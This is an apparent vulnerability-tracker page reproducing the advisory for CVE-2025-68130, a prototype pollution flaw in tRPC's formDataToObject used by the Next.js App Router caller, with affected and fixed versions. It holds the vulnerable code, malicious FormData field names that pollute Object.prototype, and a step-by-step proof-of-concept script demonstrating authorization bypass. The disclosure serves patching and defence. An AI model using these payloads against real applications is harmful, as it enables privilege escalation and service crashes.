CVE-2025-68130: tRPC has possible prototype pollution in `experimental_nextAppDirCaller`

Published Dec 16, 2025
·
Updated

> Note that this vulnerability is only present when using experimentalcaller / experimentalnextAppDirCaller.

Summary

A Prototype Pollution vulnerability exists in @trpc/server's formDataToObject function, which is used by the Next.js App Router adapter. An attacker can pollute Object.prototype by submitting specially crafted FormData field names, potentially leading to authorization bypass, denial of service, or other security impacts.

Affected Versions

- Package: @trpc/server - Affected Versions: >=10.27.0 - Vulnerable Component: formDataToObject() in src/unstable-core-do-not-import/http/formDataToObject.ts

Vulnerability Details

Root Cause

The set() function in formDataToObject.ts recursively processes FormData field names containing bracket/dot notation (e.g., user[name], user.address.city) to create nested objects. However, it does not validate or sanitize dangerous keys like proto, constructor, or prototype.

Vulnerable Code

typescript // packages/server/src/unstable-core-do-not-import/http/formDataToObject.ts function set(obj, path, value) { if (path.length > 1) { const newPath = [...path]; const key = newPath.shift(); // ← No validation of dangerous keys const nextKey = newPath[0];

if (!obj[key]) { // ← Accesses obj["proto"] which returns Object.prototype obj[key] = isNumberString(nextKey) ? [] : {}; } set(obj[key], newPath, value); // ← Recursively pollutes Object.prototype return; } // ... }

export function formDataToObject(formData) { const obj = {}; for (const [key, value] of formData.entries()) { const parts = key.split(/[\.\[\]]/).filter(Boolean); // Splits "proto[isAdmin]" → ["proto", "isAdmin"] set(obj, parts, value); } return obj; }

Attack Vector

When a user submits a form to a tRPC mutation using Next.js Server Actions, the nextAppDirCaller adapter processes the FormData:

typescript // packages/server/src/adapters/next-app-dir/nextAppDirCaller.ts:88-89 if (normalizeFormData && input instanceof FormData) { input = formDataToObject(input); // ← Vulnerable call }

An attacker can craft FormData with malicious field names:

javascript const formData = new FormData(); formData.append("proto[isAdmin]", "true"); formData.append("proto[role]", "superadmin");

When processed, this pollutes Object.prototype:

javascript {}.isAdmin // → "true" {}.role // → "superadmin"

Proof of Concept

bash Step 1: Create the project directory

mkdir trpc-vuln-poc cd trpc-vuln-poc

Step 2: Initialize npm

npm init -y

Step 3: Install vulnerable tRPC

npm install @trpc/server@11.7.2

Step 4: Create the test file ---

Test.js

javascript const { formDataToObject } = require('@trpc/server/unstable-core-do-not-import');

console.log("=== PoC Prototype Pollution en tRPC ===\n");

console.log("[1] Estado inicial:"); console.log(" {}.isAdmin =", {}.isAdmin);

const fd = new FormData(); fd.append("proto[isAdmin]", "true"); fd.append("proto[role]", "superadmin"); fd.append("username", "attacker");

console.log("\n[2] FormData malicioso:"); console.log(' proto[isAdmin] = "true"'); console.log(' proto[role] = "superadmin"');

console.log("\n[3] Llamando formDataToObject()..."); const result = formDataToObject(fd); console.log(" Resultado:", JSON.stringify(result));

console.log("\n[4] Después del ataque:"); console.log(" {}.isAdmin =", {}.isAdmin); console.log(" {}.role =", {}.role);

const user = { id: 1, name: "john" }; console.log("\n[5] Impacto en autorización:"); console.log(" Usuario normal:", JSON.stringify(user)); console.log(" user.isAdmin =", user.isAdmin);

if (user.isAdmin) { console.log("\n VULNERABLE - Authorization bypass exitoso!"); } else { console.log("\n ✓ Seguro"); }

Impact

Authorization Bypass (HIGH)

Many applications check user permissions using property access:

javascript // Vulnerable pattern if (user.isAdmin) { // Grant admin access }

After pollution, all objects will have isAdmin: "true", bypassing authorization.

Denial of Service (MEDIUM)

Polluting commonly used property names can crash applications:

javascript formData.append("proto[toString]", "notafunction"); // All subsequent .toString() calls will fail

Other sources

tRPC allows users to build and consume fully typesafe APIs without schemas or code generation. Starting in version 10.27.0 and prior to versions 10.45.3 and 11.8.0, a A prototype pollution vulnerability exists in @trpc/server's formDataToObject function, which is used by the Next.js App Router adapter. An attacker can pollute Object.prototype by submitting specially crafted FormData field names, potentially leading to authorization bypass, denial of service, or other security impacts. Note that this vulnerability is only present when using experimentalcaller / experimentalnextAppDirCaller. Versions 10.45.3 and 11.8.0 fix the issue.

MITRE

Affected Software

3 affected componentsFixes available
npm/@trpc/server>10.27.0<=10.45.3, >11.8.0
npm/@trpc/server>=11.0.0<11.8.0
11.8.0
npm/@trpc/server>=10.27.0<10.45.3
10.45.3

Event History

Dec 16, 2025
CVE Published
via MITRE·04:50 PM
Data Sourced
via MITRE·04:50 PM
DescriptionWeakness
Data Sourced
via NVD·05:16 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·07:37 PM
Data Sourced
via GitHub·07:37 PM
DescriptionWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2025-68130?

CVE-2025-68130 is a prototype pollution vulnerability that can lead to unexpected behavior in applications utilizing affected versions of the @trpc/server.

2

How do I fix CVE-2025-68130?

To fix CVE-2025-68130, upgrade @trpc/server to version 10.45.3 or later or to 11.8.0 or later.

3

Which versions of @trpc/server are affected by CVE-2025-68130?

CVE-2025-68130 affects versions between 10.27.0 and 10.45.3 (exclusive) and also affects versions prior to 11.8.0.

4

Does CVE-2025-68130 affect applications built with tRPC?

Yes, applications that utilize the vulnerable versions of @trpc/server are at risk due to the prototype pollution vulnerability.

5

What is the impact of CVE-2025-68130?

The impact of CVE-2025-68130 can lead to denial of service or manipulation of object properties in an application's memory.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203